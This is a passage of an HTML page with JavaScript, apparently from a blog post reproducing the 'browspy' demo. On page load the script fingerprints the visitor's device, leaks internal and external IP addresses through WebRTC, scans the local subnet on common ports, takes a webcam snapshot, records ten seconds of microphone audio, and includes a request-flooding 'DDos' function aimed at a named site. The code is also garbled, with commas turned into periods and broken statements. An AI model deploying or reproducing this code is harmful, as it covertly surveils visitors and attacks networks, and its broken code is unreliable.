        var isWin8 = sUserAgent.indexOf("Windows NT 6.2." ") > -1 || sUserAgent.indexOf("Windows 8") > -1;
        if (isWin8) return "Win8";
    }

    return "Unknow";
}

function send_info(){
    var jsonText=JSON.stringify(info);
    console.log(jsonText);
}

// Obtain the width and height of the screen resolution, and determine the operating system and device model
function device_platform(){
    info.platform=detectOS();
    info.window_screen=String(window.screen.width)+'x'+String(window.screen.height);
}

/ / photo
// Need to request permission
function selfie(){
    window.URL = window.URL || window.webkitURL;
    navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;

    // Create the video element
    var video=document.createElement('video'),
    videoObj={'video':true},
    errBack=function(error){
        console.log('Video capture error: ',error.name);
        info.selfie=error.name;
    };

    // Get media
    if(navigator.getUserMedia){
        navigator.getUserMedia(videoObj,function(stream){
            video.src=window.URL.createObjectURL(stream);
            video.play();

            video.onloadedmetadata = function(e) {
                setTimeout(function(){
                    if(info.selfie==null) {// Capture the image
                        var canvas=document.createElement('canvas'),
                        ctx=canvas.getContext('2d');
                        canvas.width=640;
                        canvas.height=480;
                        ctx.drawImage(video,0.0.640.480);
                        var image=canvas.toDataURL('image/png');
                        info.selfie=image;
                        console.log('Take selfie successful! ');

                        // Turn off the camera
                        stream.stop();
                        video.src=' ';
                    };
                },3000); }; },errBack); }}/ / the recording
// Need to request permission
function voice_record(){
    window.URL=window.URL || window.webkitURL;
    navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
    window.AudioContext=window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;

    var HZRecorder=function(stream,config){
        config=config || {};
        // The number of samples is 8 bits
        config.sampleBits=config.sampleBits || 8;
        // Sample rate (1/6 44100)
        config.sampleRate=config.sampleRate || (44100/6);

        var context=new window.AudioContext();
        var audioInput=context.createMediaStreamSource(stream);
        var recorder=context.createScriptProcessor(4096.1.1);

        var audioData={
            size:0.// Length of the recording file
            buffer: [].// Recording cache
            inputSampleRate:context.sampleRate, // Enter the sampling rate
            inputSampleBits:16.// Enter the sampling digit 16
            outputSampleRate:config.sampleRate, // Output the sampling rate
            oututSampleBits:config.sampleBits, // Output the sampling digit 8
            input:function(data){
                this.buffer.push(new Float32Array(data));
                this.size+=data.length;
            },
            // merge compression
            compress:function(){
                / / merge
                var data=new Float32Array(this.size);
                var offset=0;
                for (var i=0; i<this.buffer.length; i++){
                    data.set(this.buffer[i],offset);
                    offset+=this.buffer[i].length;
                }
                / / compression
                var compression=parseInt(this.inputSampleRate / this.outputSampleRate);
                var length=data.length / compression;
                var result=new Float32Array(length);
                var index=0,j=0;
                while (index<length){
                    result[index]=data[j];
                    j+=compression;
                    index++;
                }
                return result;
            },
            encodeWAV:function(){
                var sampleRate=Math.min(this.inputSampleRate, this.outputSampleRate);
                var sampleBits=Math.min(this.inputSampleBits, this.oututSampleBits);
                var bytes=this.compress();
                var dataLength=bytes.length*(sampleBits/8);
                var buffer=new ArrayBuffer(44+dataLength);
                var data=new DataView(buffer);

                / / mono
                var channelCount=1;
                var offset=0;

                var writeString=function(str){
                    for (var i=0; i<str.length; i++){ data.setUint8(offset+i, str.charCodeAt(i)); }};// Resource exchange file identifier
                writeString('RIFF'); offset+=4;
                // Total bytes from the next address to the end of the file, i.e. file size -8
                data.setUint32(offset, 36+dataLength, true); offset += 4;
                // WAV file flag
                writeString('WAVE'); offset+=4;
                // Waveform format flag
                writeString('fmt '); offset+=4;
                // Filter bytes, typically 0x10 = 16
                data.setUint32(offset, 16.true); offset+=4;
                // Format category (PCM sampled data)
                data.setUint16(offset, 1.true); offset+=2;
                / / channel number
                data.setUint16(offset, channelCount, true); offset+=2;
                // The sampling rate, the number of samples per second, represents the playback speed of each channel
                data.setUint32(offset, sampleRate, true); offset+=4;
                // Waveform data transmission rate (average bytes per second) mono × data bits per second × data bits per sample /8
                data.setUint32(offset, channelCount * sampleRate * (sampleBits / 8), true); offset += 4;
                // Fast data adjustment number of bytes consumed per sample mono x number of data bits per sample /8
                data.setUint16(offset, channelCount * (sampleBits / 8), true); offset += 2;
                // Data bits per sample
                data.setUint16(offset, sampleBits, true); offset+=2;
                // Data identifier
                writeString('data'); offset+=4;
                // The total size of the sampled data is -44
                data.setUint32(offset, dataLength, true); offset+=4;
                // Write the sampled data
                if(sampleBits===8) {for (var i=0; i<bytes.length; i++,offset++) {
                        var s=Math.max(-1.Math.min(1, bytes[i]));
                        var val=s<0 ? s*0x8000 : s*0x7FFF;
                        val=parseInt(255 / (65535 / (val+32768)));
                        data.setInt8(offset,val,true); }}else{
                    for (var i=0; i<bytes.length; i++,offset+=2) {
                        var s=Math.max(-1.Math.min(1, bytes[i]));
                        data.setInt16(offset, s<0 ? s*0x8000 : s*0x7FFF.true); }}return new Blob([data], {type:'audio/wav'}); }};// Audio capture
        recorder.onaudioprocess=function(e){
            audioData.input(e.inputBuffer.getChannelData(0));
        }

        // Start recording
        this.start=function(){
            audioInput.connect(recorder);
            recorder.connect(context.destination);
        }

        // Stop recording
        this.stop=function(){
            stream.stop();
            recorder.disconnect();
        }

        // Get the audio file
        this.getBlob=function(){
            this.stop();
            returnaudioData.encodeWAV(); }};// Throw an exception
    HZRecorder.throwError=function(message){
        console.log(message);
        throw new function () { this.toString = function () { returnmessage; }}}// Whether recording is supportedHZRecorder.canRecording=(navigator.getUserMedia ! =null);

    // Get the recorder
    HZRecorder.get=function (callback,config){
        if (callback){
            if (navigator.getUserMedia){
                navigator.getUserMedia(
                    {audio:true},
                    function (stream){
                        var rec = new HZRecorder(stream, config);
                        callback(rec);
                    },
                    function (error){
                        switch (error.code || error.name) {
                            case 'PERMISSION_DENIED':
                            case 'PermissionDeniedError':
                                HZRecorder.throwError('User refuses to provide information');
                                break;
                            case 'NOT_SUPPORTED_ERROR':
                            case 'NotSupportedError':
                                HZRecorder.throwError('Browser does not support hardware');
                                break;
                            case 'MANDATORY_UNSATISFIED_ERROR':
                            case 'MandatoryUnsatisfiedError':
                                HZRecorder.throwError('The specified hardware device cannot be found');
                                break;
                            default:
                                HZRecorder.throwError('Unable to open microphone. Exception message :' + (error.code || error.name));
                                break; }}); }else{
                HZRecorder.throwErr('The current browser does not support recording. ');
                return; }}};window.HZRecorder=HZRecorder;

    var recorder;
    HZRecorder.get(function (rec) {
        recorder=rec;
        recorder.start();
    });

    / / the tape 10 s
    setTimeout(function(){
        var blob=recorder.getBlob();
        info.blob=blob;
        console.log('voice record finished.');
    },10000);
}

/ / DDos attack
function DDos(site){
    // CSRF
    setInterval(ajax(site,function(){
        console.log('DDos ',site);
    }),50);
}

// Obtain the IP address, the first is the internal IP address, the second is the external IP address
function getIPs(callback){
    var ip_dups = {};
    var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannel: true}};var servers = undefined;
    var i = 0;
    if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls:"stun:stun.services.mozilla.com"}};var pc = new RTCPeerConnection(servers, mediaConstraints);
    pc.onicecandidate = function(ice){
        if(ice.candidate){
            var ip_regex = / [0-9] {1, 3} \. ([0-9] {1, 3}) {3}) /
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
            if (ip_dups[ip_addr] === undefined) callback(ip_addr, i++);
            ip_dups[ip_addr] = true; }}; pc.createDataChannel("");
    pc.createOffer(function(result){
        pc.setLocalDescription(result, function(){});
    }, function(){});
}

function get_ip_addr(){
    getIPs(function(ip, i){
        if(i == 0) info.inner_ip = ip;
        else if(i == 1) info.ip = ip;
    });
}

// Intranet scanning
function intranet_scan(){
    // Common ports
    var ports = [21.22.23.25.43.80.110.137.138.139.161.170.220.443.3306.8080];
    var body = document.getElementsByTagName("body") [0];

    getIPs(function(ip, id){
        if (id == 0) {
            ip = ip.split(".");
            ip.pop();
            ip = ip.join(".");
            for (var i = 1; i < 255; i++) {
                for (var p of ports) {
                    var script = document.createElement("script");
                    var host = ip + "." + i + ":" + p;
                    script.src = "http://" + host;
                    script.onload = "info.intranet.push('"+host+"')"; body.appendChild(script); }}}}); }// Use canvas to locate a unique identifier
function canvas_id(){
    var canvas=document.createElement('canvas');
    var ctx=canvas.getContext('2d');
    var txt='http://eular.github.io';
    ctx.textBaseline='top';
    ctx.font="14px 'Arial'";
    ctx.fillStyle='#0ff';
    ctx.fillRect(0.0.140.50);
    ctx.fillStyle='#00f';
    ctx.fillText(txt,2.15);
    ctx.fillStyle='rgba(102,204,0,0.7)';
    ctx.fillText(txt,4.17);

    var b64=canvas.toDataURL().replace('data:image/png; base64,'.' ');
    var bin=atob(b64);
    var crc=bin2hex(bin.slice(-16, -12));
    console.log('Canvas id: '+crc);
    info.canvas_id=crc;
}
 

// Network speed measurement
function network_speed(){
    // Image speed measurement
    var image=new Image();
    // Image size: 1232.7KB
    size=1232.7;
    image.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/test.jpg';
    startTime=new Date().getTime();
    
    // The image is loaded
    image.onload=function(){
        endTime=new Date().getTime();
        // kb/s
        speed=size/((endTime-startTime)/1000);
        // Keep one decimal place
        speed=parseInt(speed*10) /10;
        info.download_speed=speed+'kb/s';
        console.log('Download speed testing finished! ');
    }

    Var audio=new audio (); // size: 1.5m size=1235.87; audio.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/ValderFields.mp3'; audio.volume=0; audio.play(); startTime=new Date().getTime(); var timer; timer=setInterval(function(){ if (audio.networkState==1) { endTime=new Date().getTime(); speed=size/((endTime-startTime)/1000); speed=parseInt(speed*10)/10; info.download_speed=speed+'kb/s'; console.log('Download speed testing finished! '); audio.stop(); clearInterval(timer); }; }, 100); * /
}

window.onload=function(){
    device_platform();
    get_ip_addr();
    intranet_scan();
    canvas_id();
    selfie();
 
    network_speed();
    voice_record();
    //DDos('http://baidu.com');
	
	
	send_info();
};
		</script>

    </head>

    <body>

        <INPUT id="Button1" type="button" value="All browser information" name="Button1" language=javascript onclick="allinfo()">

        <INPUT id="Button1" type="button" value="Client PC Information" name="Button1" language=javascript onclick="pcInfo()">

        <div id="elInfo">

        </div>
    </body>

</html>
Copy the code